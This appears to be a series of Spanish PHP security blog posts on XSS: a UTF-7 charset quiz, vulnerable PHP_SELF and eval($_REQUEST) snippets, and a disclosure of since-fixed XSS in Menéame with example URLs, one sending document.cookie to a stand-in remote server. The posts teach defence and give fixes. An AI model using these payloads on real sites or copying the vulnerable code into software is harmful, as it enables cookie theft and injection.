Categories
PHP Quiz Seguridad XSS

Implicancias de la codificación del documento – Parte 2

¿Qué condiciones se deben dar para que el siguiente código sea vulnerable a XSS?

html:

<html>

<head>
    <title>Test</title>   
</head>

<body>

<?php echo htmlentities($_GET['mensaje'], ENT_COMPAT, 'utf-8'); ?>

</body>

</html>

Nota: la codificación del documento que contiene el código mostrado es UTF-8.

Actualización: Explotar el código mostrado

Se deben cumplir las siguientes condiciones para que la vulnerabilidad se haga evidente:

  • El atacante envía como valor de la variable mensaje un texto en formato UTF-7 u otro.
  • El servidor web donde se aloja la página no envía una codificación por defecto (Ej. que no haya una directiva AddDefaultCharset en Apache)
  • Que el navegador use la misma codificación que el texto enviado. En Firefox se debe cambiar manualmente, con lo cual se complica el ataque, sin embargo, si en Internet Explorer la selección automática de codificación está habilitada, entonces la página que contiene el código ya es vulnerable, caso contrario, estamos en el mismo caso que Firefox.

He puesto el código en http://test.buayacorp.com/xss.php para efectos de prueba (para ver el mensaje, usen IE con la mencionada opción habilitada - Ver->Codificación->Selección Automática).

Solución

Poner de manera explícita la codificación adecuada, a través de cabeceras HTTP o del elemento meta.

Categories
PHP Seguridad XSS

XSS en Apress.com

Mientras intentaba comprar un ebook, encontré que apress.com es vulnerable a XSS.

Ejemplos:

  • XSS (Funciona en IE y Firefox)
  • XSS (Funciona bien en Firefox, pero no termina de cargar en IE)

Esto demuestra que no solo nosotros los novatos cometemos errores tan básicos como el uso no adecuado de $_SERVER['PHP_SELF'] 😀

Categories
PHP Seguridad XSS

XSS o SQL Injection

Una pregunta hecha en un foro:

hola gente

normalmente mis sitios php incluyen en el index (el cual incluye las secciones) el siguiente codigo:

php:

foreach($_REQUEST as $nombre_campo => $valor){
   $asignacion = "$" . $nombre_campo . "='" . $valor . "';";
   eval($asignacion);
}

no hace mas que capturar todo el $_REQUEST y transformarlo en variables comunes.

intentando evitar ataques via XSS o SQL injection es el unico codigo que me resta por analizar, pero no logro llegar a la conclusion de si es o no peligroso o deberia escribir todas y cada una de las variables.

ustedes que opinan?

Categories
PHP Quiz Seguridad XSS

Pequeño ejemplo de XSS

XSS, es según la Wikipedia un tipo de vulnerabilidad surgida como consecuencia de errores de filtrado de las entradas del usuario en aplicaciones web.

Mostraré un ejemplo que creo que todos hemos hecho o seguimos haciendo hasta ahora:

HTML:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
</form>

Y ahora las preguntas: ¿Qué tiene de malo este código?, ¿Es vulnerable a ataques XSS? Espero sus respuestas.

Categories
PHP Seguridad Varios XSS

¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:

echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:

<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->
<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:

http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. 😀

Links recomendados